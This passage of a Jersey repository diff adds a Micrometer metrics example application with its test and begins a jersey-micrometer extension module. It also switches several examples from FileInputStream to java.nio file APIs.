@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.micrometer;
+
+import org.glassfish.grizzly.http.server.HttpServer;
+import org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerFactory;
+
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+public class App {
+
+    private static final URI BASE_URI = URI.create("http://localhost:8080/micro/");
+    public static final String WEB_PATH = "/micro/";
+
+    public static void main(String[] args) {
+        try {
+            System.out.println("Micrometer/ Jersey Basic Example App");
+
+            final HttpServer server = GrizzlyHttpServerFactory.createHttpServer(BASE_URI,
+                    new MetricsResourceConfig(),
+                    false);
+            Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    server.shutdownNow();
+                }
+            }));
+            server.start();
+
+            System.out.println(String.format("Application started.\nTry out                        %s%s\n"
+                            + "And after that go to the       %s%s\n"
+                            + "Stop the application using CTRL+C",
+                    BASE_URI, "timed", BASE_URI, "metrics"));
+            Thread.currentThread().join();
+        } catch (IOException | InterruptedException ex) {
+            Logger.getLogger(App.class.getName()).log(Level.SEVERE, null, ex);
+        }
+
+    }
+}
diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResource.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResource.java
new file mode 100644
index 0000000..f81a092
--- /dev/null
+++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResource.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.micrometer;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+
+import static org.glassfish.jersey.examples.micrometer.App.WEB_PATH;
+
+@Path("metrics")
+public class MetricsResource {
+
+    @GET
+    @Produces("text/html")
+    public String getMeters() {
+       return "<html><body>Gaining measurements for the summary page, try <a href=\""
+               + WEB_PATH + "summary\">summary</a>. If you want more measurements just refresh this page several times."
+               + "</body></html>";
+    }
+}
\ No newline at end of file
diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java
new file mode 100644
index 0000000..bbaf91b
--- /dev/null
+++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.micrometer;
+
+import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ApplicationPath;
+
+@ApplicationPath("/")
+public class MetricsResourceConfig extends ResourceConfig {
+
+    private final MetricsStore store = new MetricsStore();
+
+    public MetricsResourceConfig() {
+        register(new AbstractBinder() {
+            @Override
+            protected void configure() {
+                bind(store).to(MetricsStore.class);
+            }
+        });
+        register(store.getMetricsApplicationEventListener());
+        register(TimedResource.class);
+        register(MetricsResource.class);
+        register(SummaryResource.class);
+    }
+
+    public MetricsStore getStore() {
+        return store;
+    }
+}
diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsStore.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsStore.java
new file mode 100644
index 0000000..01eaed8
--- /dev/null
+++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsStore.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.micrometer;
+
+import io.micrometer.core.instrument.MeterRegistry;
+import io.micrometer.core.instrument.simple.SimpleMeterRegistry;
+import org.glassfish.jersey.micrometer.server.DefaultJerseyTagsProvider;
+import org.glassfish.jersey.micrometer.server.MetricsApplicationEventListener;
+
+public class MetricsStore {
+
+    public static final String REGISTRY_NAME = "http.shared.metrics";
+    private final MetricsApplicationEventListener metricsApplicationEventListener;
+    private final MeterRegistry registry = new SimpleMeterRegistry();
+
+    public MetricsStore() {
+        metricsApplicationEventListener = new MetricsApplicationEventListener(registry,
+                new DefaultJerseyTagsProvider(),
+                REGISTRY_NAME, true);
+    }
+
+    public MetricsApplicationEventListener getMetricsApplicationEventListener() {
+        return metricsApplicationEventListener;
+    }
+
+    public MeterRegistry getRegistry() {
+        return registry;
+    }
+}
\ No newline at end of file
diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/SummaryResource.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/SummaryResource.java
new file mode 100644
index 0000000..9a981dd
--- /dev/null
+++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/SummaryResource.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.micrometer;
+
+import io.micrometer.core.instrument.Meter;
+import io.micrometer.core.instrument.Timer;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.core.Context;
+import java.util.concurrent.TimeUnit;
+
+import static org.glassfish.jersey.examples.micrometer.App.WEB_PATH;
+import static org.glassfish.jersey.examples.micrometer.MetricsStore.REGISTRY_NAME;
+
+@Path("summary")
+public class SummaryResource {
+
+    @Context
+    private MetricsStore store;
+
+    @GET
+    @Produces("text/html")
+    public String getExtendedMeters() {
+        final StringBuffer result = new StringBuffer();
+        try {
+            result.append("<html><body>"
+                    + "Listing available meters<br/><br/>Many occurrences of the same name means that there are more meters"
+                    + " which could be used with different tags,"
+                    + " but this is actually a challenge to handle all available metrics :<br/><br/> ");
+            for (final Meter meter : store.getRegistry().getMeters()) {
+                result.append(meter.getId().getName());
+                result.append(";<br/>\n\r ");
+            }
+        } catch (Exception ex) {
+            result.append("Try clicking links below to gain more metrics.<br/>");
+        }
+        result.append("<br/>\n\r ");
+        result.append("<br/>\n\r ");
+        try {
+            final Timer timer = store.getRegistry().get(REGISTRY_NAME)
+                    .tags("method", "GET", "status", "200", "exception", "None",
+                            "outcome", "SUCCESS", "uri", "/micro/metrics")
+                    .timer();
+
+            result.append(
+                    String.format("Counts to the page with standard measurements: %d, time spent on requests to the init "
+                            + "page (millis): %f <br/>\n\r",
+                    timer.count(), timer.totalTime(TimeUnit.MILLISECONDS)));
+
+            final Timer annotatedTimer = store.getRegistry().timer(TimedResource.TIMER_NAME,
+                    "method", "GET", "status", "200", "exception", "None",
+                    "outcome", "SUCCESS", "uri", "/micro/timed");
+
+            result.append(
+                    String.format("Counts to the page with annotated measurements: %d, total time (millis): %f <br/>\n\r",
+                    annotatedTimer.count(), annotatedTimer.totalTime(TimeUnit.MILLISECONDS)));
+
+        } catch (Exception ex) {
+            result.append(String.format("Counts to the init page: %d, total time (millis): %d <br/>\n\r",
+                    0, 0));
+            result.append("Try clicking links below to gain more metrics.<br/>");
+        }
+        result.append("<br/><br/>Available pages for measurements: <a href=\""
+                + WEB_PATH + "metrics\">measure requests in the standard way</a> &nbsp;, <a href=\""
+                + WEB_PATH + "timed\">measure requests in the annotated way</a>");
+        return result.append("</body></html>").toString();
+    }
+}
diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/TimedResource.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/TimedResource.java
new file mode 100644
index 0000000..53ed481
--- /dev/null
+++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/TimedResource.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.micrometer;
+
+import io.micrometer.core.annotation.Timed;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+
+import static org.glassfish.jersey.examples.micrometer.App.WEB_PATH;
+
+@Path("timed")
+public class TimedResource {
+
+    public static final String MESSAGE = "<html><body>Gaining measures in the annotated way. "
+            + "<br/>Take a look at <a href=\"" + WEB_PATH + "metrics\">the standard way of measurements</a><br/> "
+            + "Or just go to <a href=\"" + WEB_PATH + "summary\">summary</a> to check what you've got</body></html>";
+    public static final String TIMER_NAME = "http.timers";
+    public static final String TIMER_DESCRIPTION = "resource measurement timer";
+
+    @GET
+    @Produces("text/html")
+    @Timed(value = TIMER_NAME, description = TIMER_DESCRIPTION, histogram = true)
+    public String getTimedMessage() {
+        return MESSAGE;
+    }
+}
diff --git a/examples/micrometer/src/test/java/org/glassfish/jersey/examples/micrometer/MicrometerTest.java b/examples/micrometer/src/test/java/org/glassfish/jersey/examples/micrometer/MicrometerTest.java
new file mode 100644
index 0000000..b9e605b
--- /dev/null
+++ b/examples/micrometer/src/test/java/org/glassfish/jersey/examples/micrometer/MicrometerTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.micrometer;
+
+import io.micrometer.core.instrument.Timer;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.core.Application;
+import java.util.concurrent.TimeUnit;
+
+import static org.glassfish.jersey.examples.micrometer.TimedResource.MESSAGE;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+public class MicrometerTest extends JerseyTest {
+
+    static final int REQUESTS_COUNT = 10;
+
+    private MetricsResourceConfig resourceConfig;
+
+    @Override
+    protected Application configure() {
+        resourceConfig = new MetricsResourceConfig();
+        assertNotNull(this.resourceConfig);
+        return this.resourceConfig;
+    }
+
+    @Test
+    void meterResourceTest() throws InterruptedException {
+        final String response = target("/timed").request().get(String.class);
+        assertEquals(response, MESSAGE);
+        for (int i = 0; i < REQUESTS_COUNT; i++) {
+            target("/metrics").request().get(String.class);
+        }
+        // Jersey metrics are recorded asynchronously to the request completing
+        Thread.sleep(10);
+        Timer timer = resourceConfig.getStore().getRegistry()
+                .get(MetricsStore.REGISTRY_NAME)
+                .tags("method", "GET", "uri", "/metrics", "status", "200", "exception", "None", "outcome", "SUCCESS")
+                .timer();
+        assertEquals(REQUESTS_COUNT, timer.count());
+        assertNotNull(timer.totalTime(TimeUnit.NANOSECONDS));
+    }
+
+}
\ No newline at end of file
diff --git a/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java b/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java
index 9242753..5d39bde 100644
--- a/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java
+++ b/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,11 +11,13 @@
 package org.glassfish.jersey.examples.oauth.twitterclient;
 
 import java.io.BufferedReader;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.io.OutputStream;
 import java.nio.charset.Charset;
+import java.nio.file.Files;
+import java.nio.file.Paths;
 import java.util.List;
 import java.util.Properties;
 
@@ -141,9 +143,9 @@
     }
 
     private static void loadSettings() {
-        FileInputStream st = null;
+        InputStream st = null;
         try {
-            st = new FileInputStream(PROPERTIES_FILE_NAME);
+            st = Files.newInputStream(Paths.get(PROPERTIES_FILE_NAME));
             PROPERTIES.load(st);
         } catch (final IOException e) {
             // ignore
@@ -174,9 +176,9 @@
     }
 
     private static void storeSettings() {
-        FileOutputStream st = null;
+        OutputStream st = null;
         try {
-            st = new FileOutputStream(PROPERTIES_FILE_NAME);
+            st = Files.newOutputStream(Paths.get(PROPERTIES_FILE_NAME));
             PROPERTIES.store(st, null);
         } catch (final IOException e) {
             // ignore
diff --git a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java
index d8cacd5..404c63d 100644
--- a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java
+++ b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,9 +11,10 @@
 package org.glassfish.jersey.examples.helloworld.test;
 
 import java.io.BufferedReader;
-import java.io.FileReader;
 import java.io.IOException;
 import java.net.URI;
+import java.nio.file.Files;
+import java.nio.file.Paths;
 import java.security.AccessController;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -227,7 +228,7 @@
 
         try {
 
-            final BufferedReader reader = new BufferedReader(new FileReader(felixPolicy));
+            final BufferedReader reader = Files.newBufferedReader(Paths.get(felixPolicy));
             String line;
             final Set<String> cpiNames = new HashSet<String>();
 
diff --git a/examples/pom.xml b/examples/pom.xml
index 48a1f51..9883766 100644
--- a/examples/pom.xml
+++ b/examples/pom.xml
@@ -99,6 +99,7 @@
         <module>managed-client-simple-webapp</module>
         <!--<module>monitoring-webapp</module>-->
         <module>multipart-webapp</module>
+        <module>micrometer</module>
         <module>open-tracing</module>
         <module>osgi-helloworld-webapp</module>
 <!--        <module>osgi-http-service</module> Jakartification - felix osgi is not jakartificated-->
diff --git a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java
index 10441f3..8e922b7 100644
--- a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java
+++ b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -12,11 +12,10 @@
 
 import java.io.BufferedReader;
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.IOException;
-import java.io.InputStreamReader;
 import java.lang.reflect.Field;
 import java.net.URI;
+import java.nio.file.Files;
 import java.nio.file.FileSystems;
 import java.nio.file.Path;
 import java.nio.file.Paths;
@@ -168,7 +167,7 @@
 
         final List<JavaFile> javaFiles = new LinkedList<>();
 
-        try (BufferedReader r = new BufferedReader(new InputStreamReader(new FileInputStream(configFile), "UTF-8"))) {
+        try (BufferedReader r = Files.newBufferedReader(configFile.toPath())) {
             while (r.ready()) {
                 final String className = r.readLine();
                 if (!className.startsWith("#")) {
diff --git a/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java b/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java
index 71b8ecd..a3e6788 100644
--- a/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java
+++ b/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -10,10 +10,10 @@
 
 package org.glassfish.jersey.examples.aggregator;
 
-import java.io.File;
-import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Paths;
 import java.util.HashMap;
 import java.util.Properties;
 import java.util.logging.Level;
@@ -141,10 +141,10 @@
     private static Properties loadSettings() {
         final Properties properties = new Properties();
 
-        FileInputStream st = null;
+        InputStream st = null;
         try {
             String homeDir = System.getProperty("user.home");
-            st = new FileInputStream(homeDir + File.separator + TWITTER_PROPERTIES_FILE_NAME);
+            st = Files.newInputStream(Paths.get(homeDir, TWITTER_PROPERTIES_FILE_NAME));
             properties.load(st);
         } catch (IOException e) {
             // ignore
@@ -230,7 +230,7 @@
             try {
                 fileStream = webRootPath == null
                         ? App.class.getResourceAsStream(WEB_ROOT + uri)
-                        : new FileInputStream(webRootPath + uri);
+                        : Files.newInputStream(Paths.get(webRootPath, uri));
             } catch (IOException e) {
                 fileStream = null;
             }
diff --git a/ext/micrometer/pom.xml b/ext/micrometer/pom.xml
new file mode 100644
index 0000000..4608efb
--- /dev/null
+++ b/ext/micrometer/pom.xml
@@ -0,0 +1,105 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.ext</groupId>
+        <version>3.0.99-SNAPSHOT</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>jersey-micrometer</artifactId>
+
+    <dependencies>
+
+        <dependency>
+            <groupId>io.micrometer</groupId>
+            <artifactId>micrometer-core</artifactId>
+            <version>${micrometer.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-common</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-server</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-inmemory</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-core</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.aspectj</groupId>
+            <artifactId>aspectjweaver</artifactId>
+            <version>${aspectj.weaver.version}</version>
+            <scope>test</scope>
+            <optional>true</optional>
+        </dependency>
+
+        <dependency>
+            <groupId>io.micrometer</groupId>
+            <artifactId>micrometer-tracing-integration-test</artifactId>
+            <version>${micrometer-tracing.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+    </dependencies>
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <extensions>true</extensions>
+                <configuration>
+                    <instructions>
+                        <Export-Package>
+                            org.glassfish.jersey.micrometer.server.*;version=${project.version}
+                        </Export-Package>
+                        <Import-Package>
+                            org.eclipse.microprofile.micrometer.server.*;version="!",
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+
+</project>
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/AnnotationFinder.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/AnnotationFinder.java
new file mode 100644
index 0000000..82b8c54
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/AnnotationFinder.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.AnnotatedElement;
+
+public interface AnnotationFinder {
+
+    AnnotationFinder DEFAULT = new AnnotationFinder() {
+    };
+
+    /**
+     * The default implementation performs a simple search for a declared annotation
+     * matching the search type. Spring provides a more sophisticated annotation search
+     * utility that matches on meta-annotations as well.
+     * @param annotatedElement The element to search.
+     * @param annotationType The annotation type class.
+     * @param <A> Annotation type to search for.
+     * @return A matching annotation.
+     */
+    @SuppressWarnings("unchecked")
+    default <A extends Annotation> A findAnnotation(AnnotatedElement annotatedElement, Class<A> annotationType) {
+        Annotation[] anns = annotatedElement.getDeclaredAnnotations();
+        for (Annotation ann : anns) {
+            if (ann.annotationType() == annotationType) {
+                return (A) ann;
+            }
+        }
+        return null;
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyObservationConvention.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyObservationConvention.java
new file mode 100644
index 0000000..172465b
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyObservationConvention.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import io.micrometer.common.KeyValues;
+import io.micrometer.common.lang.Nullable;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+
+/**
+ * Default implementation for {@link JerseyObservationConvention}.
+ *
+ * @author Marcin Grzejszczak
+ * @since 2.41
+ */
+public class DefaultJerseyObservationConvention implements JerseyObservationConvention {
+
+    private final String metricsName;
+
+    public DefaultJerseyObservationConvention(String metricsName) {
+        this.metricsName = metricsName;
+    }
+
+    @Override
+    public KeyValues getLowCardinalityKeyValues(JerseyContext context) {
+        RequestEvent event = context.getRequestEvent();
+        ContainerRequest request = context.getCarrier();
+        ContainerResponse response = context.getResponse();
+        return KeyValues.of(JerseyKeyValues.method(request), JerseyKeyValues.uri(event),
+                JerseyKeyValues.exception(event), JerseyKeyValues.status(response), JerseyKeyValues.outcome(response));
+    }
+
+    @Override
+    public String getName() {
+        return this.metricsName;
+    }
+
+    @Nullable
+    @Override
+    public String getContextualName(JerseyContext context) {
+        if (context.getCarrier() == null) {
+            return null;
+        }
+        return "HTTP " + context.getCarrier().getMethod();
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProvider.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProvider.java
new file mode 100644
index 0000000..6c080a4
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProvider.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import io.micrometer.core.instrument.Tag;
+import io.micrometer.core.instrument.Tags;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+
+/**
+ * Default implementation for {@link JerseyTagsProvider}.
+ *
+ * @author Michael Weirauch
+ * @author Johnny Lim
+ * @since 2.41
+ */
+public final class DefaultJerseyTagsProvider implements JerseyTagsProvider {
+
+    @Override
+    public Iterable<Tag> httpRequestTags(RequestEvent event) {
+        ContainerResponse response = event.getContainerResponse();
+        return Tags.of(JerseyTags.method(event.getContainerRequest()), JerseyTags.uri(event),
+                JerseyTags.exception(event), JerseyTags.status(response), JerseyTags.outcome(response));
+    }
+
+    @Override
+    public Iterable<Tag> httpLongRequestTags(RequestEvent event) {
+        return Tags.of(JerseyTags.method(event.getContainerRequest()), JerseyTags.uri(event));
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyContext.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyContext.java
new file mode 100644
index 0000000..97ff36a
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyContext.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import java.util.List;
+
+import io.micrometer.observation.transport.ReceiverContext;
+import io.micrometer.observation.transport.RequestReplyReceiverContext;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+
+/**
+ * A {@link ReceiverContext} for Jersey.
+ *
+ * @author Marcin Grzejszczak
+ * @since 2.41
+ */
+public class JerseyContext extends RequestReplyReceiverContext<ContainerRequest, ContainerResponse> {
+
+    private RequestEvent requestEvent;
+
+    public JerseyContext(RequestEvent requestEvent) {
+        super((carrier, key) -> {
+            List<String> requestHeader = carrier.getRequestHeader(key);
+            if (requestHeader == null || requestHeader.isEmpty()) {
+                return null;
+            }
+            return requestHeader.get(0);
+        });
+        this.requestEvent = requestEvent;
+        setCarrier(requestEvent.getContainerRequest());
+    }
+
+    public void setRequestEvent(RequestEvent requestEvent) {
